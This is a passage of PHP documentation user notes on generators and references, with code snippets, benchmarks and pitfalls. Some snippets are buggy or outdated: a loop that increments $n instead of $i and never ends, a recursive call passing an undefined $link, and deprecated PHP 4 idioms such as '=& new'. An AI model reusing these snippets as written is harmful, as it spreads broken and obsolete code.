This flexibility does come at a cost, however: generators are forward-only iterators, and cannot be rewound once iteration has started. This also means that the same generator can't be iterated over multiple times: the generator will need to either be rebuilt by calling the generator function again, or cloned via the clone keyword.

User Contributed Notes

sergeyzsg at yandex dot ru 08-Jun-2014 09:32
I think that this is bad generator example.
If user will not consume all lines then file will not be closed.

<?php
function getLinesFromFile($fileHandle) {
    while (false !== $line = fgets($fileHandle)) {
        yield $line;
    }
}

if ($fileHandle = fopen($fileName, 'r')) {
    /*
    something with getLinesFromFile
    */
    fclose($fileHandle);
}
?>
sou at oand dot re 04-Jul-2013 10:34
I think to be more similar the samples in the function, throw a new exception is better. But looking into "Generator syntax" session, you can see there this: "An empty return statement is valid syntax within a generator and it will terminate the generator.". By this point of view, we can imagine that this is just to exemplify an usage of the empty return.
mNOSPAMsenghaa at nospam dot gmail dot com 21-Jun-2013 04:45
This hardly seems a fair comparison between the two examples, size-for-size. As noted, generators are forward-only, meaning that it should be compared to an iterator with a dummy rewind function defined. Also, to be fair, since the iterator throws an exception, shouldn't the generator example also throw the same exception? The code comparison would become more like this:

<?php
function getLinesFromFile($fileName) {
    if (!$fileHandle = fopen($fileName, 'r')) {
        throw new RuntimeException('Couldn\'t open file "' . $fileName . '"');
    }

    while (false !== $line = fgets($fileHandle)) {
        yield $line;
    }

    fclose($fileHandle);
}

// versus...

class LineIterator implements Iterator {
    protected $fileHandle;

    protected $line;
    protected $i;

    public function __construct($fileName) {
        if (!$this->fileHandle = fopen($fileName, 'r')) {
            throw new RuntimeException('Couldn\'t open file "' . $fileName . '"');
        }
    }

    public function rewind() { }

    public function valid() {
        return false !== $this->line;
    }

    public function current() {
        return $this->line;
    }

    public function key() {
        return $this->i;
    }

    public function next() {
        if (false !== $this->line) {
            $this->line = fgets($this->fileHandle);
            $this->i++;
        }
    }

    public function __destruct() {
        fclose($this->fileHandle);
    }
}
?>

The generator is still obviously much shorter, but this seems a more reasonable comparison.


References Explained

Table of Contents

  • What References Are
  • What References Do
  • What References Are Not
  • Passing by Reference
  • Returning References
  • Unsetting References
  • Spotting References

User Contributed Notes

alexander at gamerev dot org 13-Mar-2014 11:47
Simply put, here's an example of what referencing IS:

<?php
    $foo  = 5;
    $bar = &$foo;
    $bar++;

    echo $foo;
?>

The above example will output the value 6, because $bar references the value of $foo, therefore, when changing $bar's value, you also change $foo's value too.
shooo dot xz at gmail dot com 10-Sep-2013 09:53
Hi, i've worked a abit on reference stuff.
Here is what i've noticed.

The problem: Sort mysql result through columns

$rewrite_self = gt::recombine(array('lang', 'id'), 'value_column', $sql_result);

public static function recombine($keys, $value, &$arr) {
        $ref = array();
        $main = &$ref;
        foreach($arr as $data) {
            foreach($keys as $key) {
                if (!is_array($ref[$data[$key]])) $ref[$data[$key]] = array();
                $ref = &$ref[$data[$key]];
            }
            $ref = $data[$value];
            $ref = &$main;
        }
        return $main;
}

array(2) {
  ["pl"]=>
  array(2) {
    [2]=>
    string(4) "value_column_str"
    [3]=>
    string(4) "value_column_str2"
  }
  ["en"]=>
  array(1) {
    [13]=>
    string(7) "value_column_str3"
  }
}

Enjoy!
sneskid at hotmail dot com 16-Mar-2012 07:19
There is no built in method (yet) to check if two variables are references to the same piece of data, but you can do a "reference sniff" test. This is rarely needed, but can be very useful. The function bellow is a slightly modified version of this technique I saw in a forum regarding this comparison limitation.

<?php
function is_ref_to(&$a, &$b)
{
    $t = $a;
    if($r=($b===($a=1))){ $r = ($b===($a=0)); }
    $a = $t;
    return $r;
}

$varA = 1;
$varB = $varA;
$varC =&$varA;

var_dump( is_ref_to($varA, $varB) ); // bool(false)
var_dump( is_ref_to($varA, $varC) ); // bool(true)
?>

The test above uses a two step process to be 100% generic.
But if you are sure the variables being tested will not be a certain value, example null, then use that value to allow a one step check.

<?php
function is_ref_to_1step(&$a, &$b)
{
    $t = $a;
    $r=($b===($a=null));
    $a = $t;
    return $r;
}
?>
zoranbankovic at gmail dot com 16-Oct-2010 10:59
If someone wants to add slashes to multidimensional array directly, can use recursive (pass-by-reference) function like this:
<?php
function slashit(&$aray, $db_link)
{
  foreach ($aray as $key => &$value)
   if(is_array($value)) slashit($value, $link);
   else $aray[$key] = mysql_real_escape_string($value, $db_link);
}

// Test:
$fruits = array (
    "fruits"  => array("a" => "or'ange", "b" => "ban'ana", "c" => "apple'"),
    "numbers" => array(1, 2, 3, 4, 5, 6),
    "holes"   => array("fir'st", 5 => "sec'ond", "thir'd"),
    "odma"    => "jugo'slavija"
);

// You have to make link to the database or can use addslashes instead of mysql_real_escape_string and remove $link from function definition

slashit($fruits, $dbLink);
echo "<pre>"; print_r($fruits); echo "</pre>";
?>

// Output:
Array
(
    [fruits] => Array
        (
            [a] => or\'ange
            [b] => ban\'ana
            [c] => apple\'
        )

    [numbers] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
            [3] => 4
            [4] => 5
            [5] => 6
        )

    [holes] => Array
        (
            [0] => fir\'st
            [5] => sec\'ond
            [6] => thir\'d
        )

    [odma] => jugo\'slavija
)
gnuffo1 at gmail dot com 28-Aug-2010 04:07
If you want to know the reference count of a particular variable, then here's a function that makes use of debug_zval_dump() to do so:

<?php
function refcount($var)
{
    ob_start();
    debug_zval_dump($var);
    $dump = ob_get_clean();

    $matches = array();
    preg_match('/refcount\(([0-9]+)/', $dump, $matches);

    $count = $matches[1];

    //3 references are added, including when calling debug_zval_dump()
    return $count - 3;
}
?>

debug_zval_dump() is a confusing function, as explained in its documentation, as among other things, it adds a reference count when being called as there is a reference within the function. refcount() takes account of these extra references by subtracting them for the return value.

It's also even more confusing when dealing with variables that have been assigned by reference (=&), either on the right or left side of the assignment, so for that reason, the above function doesn't really work for those sorts of variables. I'd use it more on object instances.

However, even taking into account that passing a variable to a function adds one to the reference count; which should mean that calling refcount() adds one, and then calling debug_zval_dump() adds another, refcount() seems to have aquired another reference from somewhere; hence subtracting 3 instead of 2 in the return line. Not quite sure where that comes from.

I've only tested this on 5.3; due to the nature of debug_zval_dump(), the results may be completely different on other versions.
Youssef Omar 15-Dec-2009 09:27
This is to show the affect of changing property of object A through another object B when you pass object A as a property of another object B.

<?php
 // data class to be passed to another class as an object
 class A{
     public $info;
    function __construct(){
        $this->info = "eeee";
    }
 }

 // B class to change the info in A obj
 class B_class{
     public $A_obj;

    function __construct($A_obj){
        $this->A_obj =  $A_obj;
    }
    public function change($newVal){
        $this->A_obj->info = $newVal;
    }
 }

 // create data object from the A
 $A_obj = new A();
 // print the info property
 echo 'A_obj info: ' . $A_obj->info . '<br/>';

 // create the B object and pass the A_obj we created above
 $B_obj = new B_class($A_obj);
 // print the info property through the B object to make sure it has the same value 'eeee'
 echo 'B_obj info: ' . $B_obj->A_obj->info . '<br/>';

 // chage the info property
 $B_obj->change('xxxxx');
 // print the info property through the B object to make sure it changed the value to 'xxxxxx'
 echo 'B_obj info after change: ' . $B_obj->A_obj->info . '<br/>';
 // print the info property from the A_obj to see if the change through B_obj has affected it
 echo 'A_obj info: ' . $A_obj->info . '<br/>';

?>

The result:

A_obj info: eeee
B_obj info: eeee
B_obj info after change: xxxxx
A_obj info: xxxxx
strata_ranger at hotmail dot com 30-Sep-2009 08:59
Note that in PHP5 you generally don't need the reference operator -- at all -- when dealing with class objects, because PHP5 implements objects using Instances (which are more like C pointers than PHP's references system).

For example:
<?php
//
// Since PHP 5
//

$foo = new stdClass();

// $bar and $foo are still holding the same (single) object
$bar = $foo;
var_dump($foo, $bar)
// object(stdClass)#1 (0) { }
// object(stdClass)#1 (0) { }

$bar->member = "Something";
var_dump($foo, $bar);
// object(stdClass)#1 (1) {
//  ["member"]=>
//  string(9) "Something"
// }
// object(stdClass)#1 (1) {
//   ["member"]=>
//   string(9) "Something"
// }

// Use the 'clone' keyword to make a separate copy of the object
$bar = clone $foo;
$bar->member = "Something";
var_dump($foo, $bar);
// object(stdClass)#1 (0) { }
// object(stdClass)#2 (1) {
//   ["member"]=>
//   string(9) "Something"
// }

?>
Anonymous 01-Sep-2009 10:07
After hours of confusion and reading tons of posts I finally figured out that replacing PHP 4 style object creation, where new is assigned by reference:

$node_obj =& new someClass($somearg, $moreargs);

which in PHP 5.3.0 generates an E_STRICT message telling you that "Assigning the return value of new by reference is deprecated"

with the following, where & has been removed:

$node_obj = new someClass($somearg, $moreargs);

in some cases (at least in recursive loops while creating a tree of nodes containing child nodes) requires

unset($node_obj);

before the actual object assignment line to avoid all child nodes becoming identical.

Hope that delicate piece of information will save someone else a few hours.
wernerdegroot at nospam dot gmail 14-Jul-2009 08:56
In the following case you don't have to use = & operator when returning a reference:

<?php

    class a {
        public $a = 1;
    }

    class b {
        static $var;

        public static function & gvar($i) {
            if(!(isset(b::$var[$i]))) {
                b::$var[$i] = new a;
            }

            return b::$var[$i];
        }
    }

    $b = new b;
    $a = b::gvar(1);
    $a->a = 14;

    $c = b::gvar(1);
    echo $c->a; // 14
?>

Note the $a = b::gvar(1) instead of $a = & b::gvar(1)!!!
midir 28-Feb-2009 08:44
Here is a good magazine article (PDF format) that explains the internals of PHP's reference mechanism in detail: http://derickrethans.nl/files/phparch-php-variables-article.pdf

It should explain some of the odd behavior PHP sometimes seems to exhibit, as well as why you can't create "references to references" (unlike in C++), and why you should never attempt to use references to speed up passing of large strings or arrays (it will make no difference, or it will slow things down).

It was written for PHP 4 but it still applies. The only difference is in how PHP 5 handles objects: passing object variables by value only copies an internal pointer to the object. Objects in PHP 5 are only ever duplicated if you explicitly use the clone keyword.
bytepirate 09-Feb-2009 11:00
in additon to blakes comment. try this:

<?php
$strlen=60000;
$bstring=str_repeat("X",$strlen);
$astring=$bstring;
$starttime=microtime(true);
for($i=0;$i<=$strlen;$i++){
  if($i==strlen($astring))
     echo "End of String<br>";
}
echo (microtime(true)-$starttime)." seconds expired";
?>

and now change '$astring=$bstring;' to '$astring=&$bstring;'
on my system its 200 times slower with the reference.
increase $strlen and it gets even worse ;-)

(PHP 5.25 on UNIX)
ivan at mailinator dot com 09-Dec-2008 02:09
A little gotcha (be careful with references!):

<?php
$arr = array('a'=>'first', 'b'=>'second', 'c'=>'third');
foreach ($arr as &$a); // do nothing. maybe?
foreach ($arr as $a);  // do nothing. maybe?
print_r($arr);
?>
Output:

Array
(
    [a] => first
    [b] => second
    [c] => second
)

Add 'unset($a)' between the foreachs to obtain the 'correct' output:

Array
(
    [a] => first
    [b] => second
    [c] => third
)
blake 15-Aug-2008 04:22
To ffmandu13 at hotmail dot com, that's not correct. If you do a little research, you'll see that the Zend Engine employs "copy-on-write" logic, meaning that variables will be referenced instead of copied until it's actually written to. There's really no need to circumvent Zend's internal optimizations, since they're probably much more advanced than you think. Here's a good link to read over:

http://bytes.com/forum/thread769586.html

As stated, there's rarely (if ever) a need to use references for optimization purposes. When in doubt, remember that in most cases, the Zend Engine > you.
zzo38 16-Jul-2008 10:08
You can make references like pointers. Example:
<?php
  $a=6;
  $b=array(&$a); // $b is a pointer to $a
  $c=array(&$b); // $c is a pointer to $b
  $d=7;
  $c[0][0]=9; // $a is 9
  $c[0]=array(&$d); // $b is a pointer to $d
  $c[0][0]=4; // $d is 4
  $b=array(&$a); // $b is a pointer to $a again
  echo $a.$b[0].$c[0][0].$d; // outputs 9994
?>
These kind of pointers may even be passed to functions or returned from functions, copied and stored in multiple arrays/variables/objects, etc.
jasonpvp at gmail dot com 11-Jul-2008 01:16
To change values in a multi-dimensional array while looping through:

$var=array('a'=>array(1,2,3),'b'=>array(4,5,6));

foreach ($var as &$sub) {
  foreach ($sub as &$element) {
    $element=$element+1;
  }
}

var_dump($var);

------------------------------
produces:
------------------------------
array(2) {
  ["a"]=>
  array(3) {
    [0]=>
    int(2)
    [1]=>
    int(3)
    [2]=>
    int(4)
  }
  ["b"]=>
  array(3) {
    [0]=>
    int(5)
    [1]=>
    int(6)
    [2]=>
    int(7)
  }
}
mpapec 27-Jun-2008 02:23
It's strange that function definition AND call to the same function must have "&" before them.

$arr = array();
$ref =& oras($arr['blah'], array());
$ref []= "via ref";
print_r($arr);

/* result
Array
(
    [blah] => Array
        (
            [0] => via ref
        )

)
*/

// perl like ||=
function &oras (&$v, $new) {
  $v or $v = $new;
  return $v;
}
dnhuff at acm dot org 09-Jun-2008 09:40
This is discussed before (below) but bears repeating:

$a = null; ($a =& null; does not parse) is NOT the same as unset($a);

$a = null; replaces the value at the destination of $a with the null value;

If you chose to use a convention like $NULL = NULL;

THEN, you could say $a =& $NULL to break any previous reference assignment to $a (setting it of course to $NULL), which could still get you into trouble if you forgot and then said $a = '5'. Now $NULL would be '5'.

Moral: use unset when it is called for.
Dave at SymmetricDesigns dot com 21-May-2008 08:24
Another example of something to watch out for when using references with arrays.  It seems that even an usused reference to an array cell modifies the *source* of the reference.  Strange behavior for an assignment statement (is this why I've seen it written as an =& operator?  - although this doesn't happen with regular variables).
<?php
    $array1 = array(1,2);
    $x = &$array1[1];   // Unused reference
    $array2 = $array1;  // reference now also applies to $array2 !
    $array2[1]=22;      // (changing [0] will not affect $array1)
    print_r($array1);
?>
Produces:
    Array
    (
    [0] => 1
    [1] => 22    // var_dump() will show the & here
    )

I fixed my bug by rewriting the code without references, but it can also be fixed with the unset() function:
<?php
    $array1 = array(1,2);
    $x = &$array1[1];
    $array2 = $array1;
    unset($x); // Array copy is now unaffected by above reference
    $array2[1]=22;
    print_r($array1);
?>
Produces:
    Array
    (
    [0] => 1
    [1] => 2
    )
Anonymous 22-Apr-2008 08:42
To henrik at newdawn dot dk, 28-Oct-2007

No, it's not strange.
$this->$var['key'] tries to look up 'key' in the array $var and then use that for the property name. $this->{$var}['key'], on the other hand...
marco at greenlightsolutions dot nl 15-Nov-2007 11:38
I ran into a bit of a problem recently, with an array copy resulting in a reference copy of one of the elements instead of a clone. Sample code:

<?php
$a=array(1 => "A");
$b=&$a[1];
$c=$a; // should be a deep cloning
$c[1]="C";
var_dump($a[1]); // yields 'C' instead of 'A'
?>

After some searching, I found that it was a known bug which would be too costly to fix (see http://bugs.php.net/bug.php?id=20993). There was supposed to be some documentation on this behaviour on this page:

"Due to peculiarities of the internal workings of PHP, if a reference  is made to a single element of an array and then the array is copied, whether by assignment or when passed by value in a function call, the reference is copied as part of the array.  This means that changes to any such elements in either array will be duplicated in the other array (and in the other references), even if the arrays have different scopes (e.g. one is an argument inside a function and the other is global)!  Elements that did not have references at the time of the copy, as well as references assigned to those other elements after the copy of the array, will behave normally (i.e. independent of the other array)."

However, this paragraph appears to have been removed from this page at some point, presumably because it was a bit obscure. The comments section seem to be a proper place for this, though.
warnickr at gmail dot com 10-Nov-2007 10:15
I must say that it has been rather confusing following all of the explanations of PHP references, especially since I've worked a lot with C pointers.  As far as I can tell PHP references are the same as C pointers for all practical purposes.  I think a lot of the confusion comes from examples like the one shown below where people expect that a C pointer version of this would change what $bar references.

<?php
function foo(&$var)
{
    $var =& $GLOBALS["baz"];
}
foo($bar);
?>

This is not the case.  In fact, a C pointer version of this example (shown below) would behave exactly the same way (it would not modify what bar references) as the PHP reference version.

int baz = 5;
int* bar;
void foo(int* var)
{
    var = &baz;
}
foo(bar);

In this case, just as in the case of PHP references, the call foo(bar) doesn't change what bar references.  If you wanted to change what bar references, then you would need to work with a double pointer like so:

int baz = 5;
int* bar;
void foo(int** var)
{
    *var = &baz;
}
foo(&bar);
henrik at newdawn dot dk 28-Oct-2007 12:21
A note for those of you that are using constructs like the following:
return $this->$MyVarName
in your objects.

Consider the following:
class Test {
        var $MyArray = array();
        function add($var) {
                $this->$var[rand(1,100)] = rand(1,100);
        }
        function show($var) {
                echo "\nEcho from Test:\n";
                print_r($this->$var);
        }

}
$test = new Test();
$test->show('MyArray');
$test->add('MyArray');
$test->add('MyArray');
$test->add('MyArray');
$test->show('MyArray');

will output

Echo from Test:
Array
(
)

Fatal error: Cannot access empty property in /home/webroot/framework_devhost_dk/compiler/test2.php on line 5

For this to work properly you have to use a construct similar to this:
class Test {
        var $MyArray = array();
        function add($var) {
                $tmp =& $this->$var; //This is the trick... strange but true ;)
                $tmp[rand(1,100)] = rand(1,100);
        }
        function show($var) {
                echo "\nEcho from Test:\n";
                print_r($this->$var);
        }

}
$test = new Test();
$test->show('MyArray');
$test->add('MyArray');
$test->add('MyArray');
$test->add('MyArray');
$test->show('MyArray');

Will output:
Echo from Test:
Array
(
)

Echo from Test:
Array
(
    [19] => 17
    [53] => 57
    [96] => 43
)
eduardofleury at uol dot com dot br 09-Jun-2007 03:58
<?php
$foo = 'Hello';
$bar = 'World';
print $foo . " " . $bar;// Hello World

$foo = &$bar;
$bar = 'Hello My World';

print $foo;// Hello My World
print $bar;// Hello My World

?>
maghiel at mdijksman dot nl 10-May-2007 01:02
Note that:

Call-time pass-by-reference has been deprecated - argument passed by value; If you would like to pass it by reference, modify the declaration of xxxxx. If you would like to enable call-time pass-by-reference, you can set allow_call_time_pass_reference to true in your INI file. However, future versions may not support this any longer
trucex at gmail dot com 05-May-2007 10:49
In response to Xor and Slava:

I recommend you read up a bit more on the way PHP handles memory management. Take the following code for example:

<?php

$data = $_POST['lotsofdata'];
$data2 = $data;
$data3 = $data;
$data4 = $data;
$data5 = $data;

?>

Assuming we post 10MB of data to this PHP file, what will PHP do with the memory?

PHP uses a table of sorts that maps variable names to the data that variable refers to in memory. The $_POST superglobal will actually be the first instance of that data in the execution, so it will be the first variable referenced to that data in the memory. It will consume 10MB. Each $data var will simply point to the same data in memory. Until you change that data PHP will NOT duplicate it.

Passing a variable by value does just what I did with each $data var. There is no significant overhead to assigning a new name to the same data. It is only when you modify the data passed to the function that it must allocate memory for the data. Passing a variable by reference will do essentially the same thing when you pass the data to the function, only modifying it will modify the data that is in the memory already versus copying it to a new location in memory.

If for learning purposes you choose to disregard the obvious pointlessness in benchmarking the difference between these two methods of passing arguments, you will need to modify the data when it is passed to the function in order to obtain more accurate results.
sneskid at hotmail dot com 06-Mar-2007 09:47
(v5.1.4)
One cool thing about var_dump is it shows which variables are references (when dumping arrays), symbolized by '∫' for int/null, and by '&' for boolean/double/string/array/object. I don't know why the difference in symmmmbolism.
After playing around I found a better way to implement detaching (twas by accident). var_dump can show what's going on.

<?php
function &detach($v=null){return $v;}

$A=array('x' => 123, 'y' => 321);
$A['x'] = &$A['x'];
var_dump($A);
/* x became it's own reference...
array(2) {
  ["x"]=> ∫(123)
  ["y"]=> int(321)
}*/

$A['y']=&$A['x'];
var_dump($A);
/* now both are references
array(2) {
  ["x"]=> ∫(123)
  ["y"]=> ∫(123)
}*/

$z = 'hi';
$A['y']=&detach(&$z);
var_dump($A);
/* x is still a reference, y and z share
array(2) {
  ["x"]=> ∫(123)
  ["y"]=> &string(2) "hi"
}*/

$A['x'] = $A['x'];
$A['y']=&detach();
var_dump($A,$z);
/* x returned to normal, y is on its own, z is still "hi"
array(2) {
  ["x"]=> int(123)
  ["y"]=> NULL
}*/
?>

For detach to work you need to use '&' in the function declaration, and every time you call it.

Use this when you know a variable is a reference, and you want to assign a new value without effecting other vars referencing that piece of memory. You can initialize it with a new constant value, or variable, or new reference all in once step.
sneskid at hotmail dot com 01-Nov-2006 06:33
in addition to what 'jw at jwscripts dot com' wrote about unset; it can also be used to "detach" the variable alias so that it may work on a unique piece of memory again.

here's an example

<?php
define('NL', "\r\n");

$v1 = 'shared';
$v2 = &$v1;
$v3 = &$v2;
$v4 = &$v3;

echo 'before:'.NL;
echo 'v1=' . $v1 . NL;
echo 'v2=' . $v2 . NL;
echo 'v3=' . $v3 . NL;
echo 'v4=' . $v4 . NL;

// detach messy
$detach = $v1;
unset($v1);
$v1 = $detach;

// detach pretty, but slower
eval(detach('$v2'));

$v1 .= '?';
$v2 .= ' no more';
$v3 .= ' sti';
$v4 .= 'll';

echo NL.'after:'.NL;
echo 'v1=' . $v1 . NL;
echo 'v2=' . $v2 . NL;
echo 'v3=' . $v3 . NL;
echo 'v4=' . $v4 . NL;

function detach($v) {
    $e = '$detach = ' . $v . ';';
    $e .= 'unset('.$v.');';
    $e .= $v . ' = $detach;';
    return $e;
}
?>

output {
before:
v1=shared
v2=shared
v3=shared
v4=shared

after:
v1=shared?
v2=shared no more
v3=shared still
v4=shared still
}

http://www.obdev.at/developers/articles/00002.html says there's no such thing as an "object reference" in PHP, but with detaching it becomes possible.

Hopefully detach, or something like it, will become a language construct in the future.
gunter dot sammet at gmail dot com 09-Aug-2006 10:23
I tried to create an array with n depth using a recursive function passing array references around. So far I haven't had much luck and I couldn't find anything on the web. So I ended up using eval() and it seems to work well:
<?php
      foreach(array_keys($this->quantity_array) AS $key){
        if($this->quantity_array[$key] > 0){
          $combinations = explode('-', $key);
          $eval_string = '$eval_array';
          foreach(array_keys($combinations) AS $key2){
            $option_key_value = explode('_', $combinations[$key2]);
            $eval_string .= '['.$option_key_value[0].']['.$option_key_value[1].']';
          }
          $eval_string .= ' = '.$this->quantity_array[$key].';';
          eval($eval_string);
        }
      }
?>

This produces an n dimensional array that will be available in the $eval_array variable. Hope it helps somebody!
Ed 22-Jan-2006 08:29
Responding to Slava Kudinov.  The only reason why your script takes longer when you pass by reference is that you do not at all modify the array that your passing to your functions.  If you do that the diffrences in execution time will be a lot smaller.  In fact  passing by reference will be faster if just by a little bit.
Slava Kudinov <skudinov gmail com> 22-Jan-2006 11:01
In addition to the "array vs &array" example below, php 5.1.2. It seems passing an array by reference slower than by value, consider:
<?php
function test_ref(&$arr) {
   $size = sizeof($arr);
   for($n=0; $n<$size; $n++) {
       $x = 1;
   }
}

function test_val($arr) {
   $size = sizeof($arr);
   for($n=0; $n<$size; $n++) {
       $x = 1;
   }
}

// fill array
for($n=0; $n<2000; $n++) {
   $ar[] = "test".$n;
}
$time = microtime();
test_ref($ar);
echo "<br />The function using a reference took ".(microtime() - $time)." s";
$time = microtime();
test_val($ar);
echo "<br />The funktion using a value took: ".(microtime() - $time)." s";
echo "<br />Done";
?>
output:
The function using a reference took 0.002694 s
The funktion using a value took: 0.000847 s
cesoid at yahoo dot com 11-Dec-2005 03:28
Responding to post from nathan (who was responding to iryoku).

It is important to note the difference between what php is doing from the programmer's point of view and what it is doing internally. The note that nathan refers to, about how (for example) $something = $this makes a "copy" of the current object, is talking about making a "copy" from the programmer's perspective. That is, for the programmer, for all practical purposes, $something is a copy, even if internally nothing has been copied yet. For example, changing the data in member $something->somethingVar will not change your current object's data (i.e. it will not change $this->somethingVar).

What it does internally is a totally different story. I've tested  "copying" an object which contains a 200,000 element array, it takes almost no time at all until you finally change something in one of the copies, because internally it only makes the copy when it becomes necessary. The original assignment takes less than a millisecond, but when I alter one of the copies, it takes something like a quarter of a second. But this only happens if I alter the 200,000 element array, if I alter a single integer of the object, it takes less than a microsecond again, so the interpretter seems to be smart enough to make copies of some of the objects variables and not others.

The result is that when you change a function to pass by reference, it will only become more efficient if, inside the function, the passed variable is having its data altered, in which case passing by reference causes your code to alter the data of the original copy. If you are passing an object and calling a function in that object, that function may alter the object without you even knowing, which means that you should pass an object by reference as long as it is ok for the original copy to be effected by what you do with the object inside the function.

I think the real moral of the story is this:
1) Pass by reference anything that should refer to and affect the original copy.
2) Pass not by reference things that will definitely not be altered in the function (for an object, it may be impossible to know whether it alters itself upon calling one of its functions).
3) If something needs to be altered inside a function without effecting the original copy, pass it not by reference, and pass the smallest practical part that needs to change, rather than passing, for example, a huge array of which one little integer will be altered.

Or a shorter version: Only pass things by reference when you need to refer to the original copy! (And don't pass huge arrays or long strings when you need to change just a small part of them!)
mramirez (at) star (minus) dev (dot) com 12-Oct-2005 06:10
For php programmers that come from pascal,
in object pascal (delphi),
variable references are used with the "absolute" keyword.

PHP example:

<?php

global $myglobal;

$myglobal = 5;

function test()
{
global $myglobal;

/*local*/ $mylocal =& $myglobal;

echo "local: " . $mylocal . "\n";
echo "gloal: " . $myglobal . "\n";
}

test();

?>

Pascal example:

program dontcare;

var myglobal: integer;

procedure test;
var mylocal ABSOLUTE myglobal;
begin
  write("local: ", mylocal);
  write("global: ", myglobal);
end;

begin
  myglobal := 5;
  test;
end.

By the way, a "local" keyword in php for local variables,
could be welcome :-)
y007pig at yahoo dot com dot cn 07-Oct-2005 08:02
In reply to pike at kw dot nl, '&' is only apply to PHP 4.
PHP 5 changed the behavior and the object is defaultly passed by references and if you turn on E_STRICT, you will get a notice:
Strict Standards: Assigning the return value of new by reference is deprecated in xxxx
If you want to *copy* object in PHP 5, use object clone.
pike at kw dot nl 01-Oct-2005 03:08
if your object seems to "forget" assignments you make after instantiation, realize that in

$foo = new Bar()

the variable on the left hand is a *copy* of the variable on the right hand. As a result, & references made during instantiation may point to the righthandside version of Bar() and not to $foo. you'd better use

$foo = & new Bar()
php at REMOVEMEkennel17 dot co dot uk 24-Aug-2005 03:56
I found a very useful summary of how references work in PHP4 (and some of the common pitfalls) in this article: http://www.obdev.at/developers/articles/00002.html

It deals with some subtle situations and I recommend it to anyone having difficulty with their references.
grayson at uiuc dot edu 12-Aug-2005 05:59
I found a subtle feature of references that caused a bug in one of my PHP applications.  In short, if an object passes one of its members to an external function that takes a reference as an argument, the external function can turn that member into a reference to an anonymous point in memory.

Why is this a problem?  Later, when you copy the object with $a = $b, the copy and the original share memory.

Solution: If you want to have a function that uses references to modify a member of your object, your object should never pass the member to the function directly. It should first make a copy of the member. Then give that copy to the function.  Then copy the new value of that copy in to your original object member.

Below is some code that can reporoduce the this feature and demonstrate the workaround.

function modify1 ( &$pointer_obj ){
  $pointer_obj->property = 'Original Value';
}

function modify2 ( &$pointer_obj ){
  $newObj->property = 'Original Value';
  $pointer_obj = $newObj;
}

class a {
  var $i;   # an object with properties

  function corrupt1(){
    modify1 ($this->i);
  }

  function doNotCorrupt1(){
    $tmpi = $this->i;
    modify1 ($tmpi);
    $this->i = $tmpi;
  }

  function corrupt2(){
    modify2 ($this->i);
  }

  function doNotCorrupt2(){
    $tmpi = $this->i;
    modify2 ($tmpi);
    $this->i = $tmpi;
  }

}

$functions = array ('corrupt1', 'corrupt2', 'doNotCorrupt1', 'doNotCorrupt2');

foreach ($functions as $func){

  $original = new a;

  ### Load some data in to the orginal with one of the four $functions
  $original->$func();

  $copy = $original;

  $copy->i->property = "Changed after the copy was made.";

  echo "\n{$func}: \$original->i->property = '" . $original->i->property . "'";
}

The script generates output:

corrupt1: $original->i->property = 'Changed after the copy was made.'
corrupt2: $original->i->property = 'Changed after the copy was made.'
doNotCorrupt1: $original->i->property = 'Original Value'
doNotCorrupt2: $original->i->property = 'Original Value'
rlynch at lynchmarks dot com 17-May-2005 11:51
And, further...

<?php
    $intSize = sizeof($arrData);

    for($i = 0; $i < $intSize; $n++) {
       // Do stuff
    }
?>

Can be shortened even further by using the often overlooked 'decrement until zero' concept.  I don't much like decrementing to get a job done, but it can make a lot of sense when the evaluation-of-doneness is time-costly:

<?php
    for($i = sizeof($arrData); $i-- > 0 ; ) {
        // Do stuff
    }
?>

One less variable to toss on the heap.  NOTE that rather inconveniently, the $i goes to and hits zero only in the case where it starts out positive.  When it is zero to begin with, it will become -1.  Bug or feature?  I've used it as a feature as a quick test of whether the $arrData array was empty to begin with.  If you don't plan on using $i after the loop for anything, it makes no difference.

If you need to be doing something ascending-sequential though, then the temporary variable suggestions that others have made makes the most sense.

Finally (and important) ... if the $arrData array is somehow being dynamically modified in size due to the //Do-Stuff routine underneath, then you may have little-to-no recourse except to use the sizeof() method/function in the loop.  Or, keep up the temporary variable in the loop as you push and pop things into and off the array.

(sigh... this is the notable failing of deeply linked internal data structures: to figure out the size of any linked list of arbitrarily composed elements, the entire array needs to be "walked" every time the sizeof() or count() method is used.  But compared to the flexibility of associative arrays, the cost is mitigated by careful use.)

GoatGuy
nslater at gmail dot com 16-Mar-2005 04:12
In addition to the note made by "Francis dot a at gmx dot net" you should not normally be using a function such as sizeof() or count() in a control structure such as FOR because the same value is being calculated repeatedly for each iteration. This can slow things down immensely, regardless of whether you pass by value or reference.

It is generally much better to calculate the static values before the defining the looping control structure.

Example:

<?php

$intSize = sizeof($arrData);

for($i = 0; $i < $intSize; $n++) {
    // Do stuff
}

?>
Carlos 14-Mar-2005 09:09
in the example below, you would get the same result if you change the function to something like:

function test_ref(&$arr) {
   $time = time();
   $size = sizeof($arr);       // <--- this makes difference...
   for($n=0; $n<$size; $n++) {
       $x = 1;
   }

   echo "<br />The function using a reference took ".(time() - $time)." s";
}
Francis dot a at gmx dot net 09-Feb-2005 07:53
I don't know if this is a bug (I'm using PHP 5.01) but you should be careful when using  references on arrays.
I had a for-loop that was incredibly slow and it took me some time to find out that most of the time was wasted with the  function sizeof() at every loop, and even more time I spent  finding out that this problem it must be somehow related to the fact, that I used a reference of the array. Take a look at the following example:

function test_ref(&$arr) {
    $time = time();
    for($n=0; $n<sizeof($arr); $n++) {
        $x = 1;
    }
    echo "<br />The function using a reference took ".(time() - $time)." s";
}

function test_val($arr) {
    $time = time();
    for($n=0; $n<sizeof($arr); $n++) {
        $x = 1;
    }
    echo "<br />The funktion using a value took: ".(time() - $time)." s";
}

// fill array
for($n=0; $n<2000; $n++) {
    $ar[] = "test".$n;
}

test_ref($ar);
test_val($ar);
echo "<br />Done";

When I tested it, the first function was done after 9 seconds, while the second (although the array must be copied) was done in not even one.

The difference is inproportional smaller when the array size is reduced:
When using 1000 loops the first function was running for 1 second, when using 4000 it wasn't even done after 30 Seconds.
jw at jwscripts dot com 16-Oct-2004 02:18
Re-using variables which where references before, without unsetting them first, leads to unexpected behaviour.

The following code:

<?php

$numbers = array();

for ($i = 1; $i < 4; $i++) {
    $numbers[] = null;
    $num = count($numbers);
    $index =& $numbers[$num ? $num - 1 : $num];
    $index = $i;
}

foreach ($numbers as $index) {
    print "$index\n";
}

?>

Does not produce:
1
2
3

But instead:
1
2
2

Applying unset($index) before re-using the variable fixes this and the expected list will be produced:
1
2
3
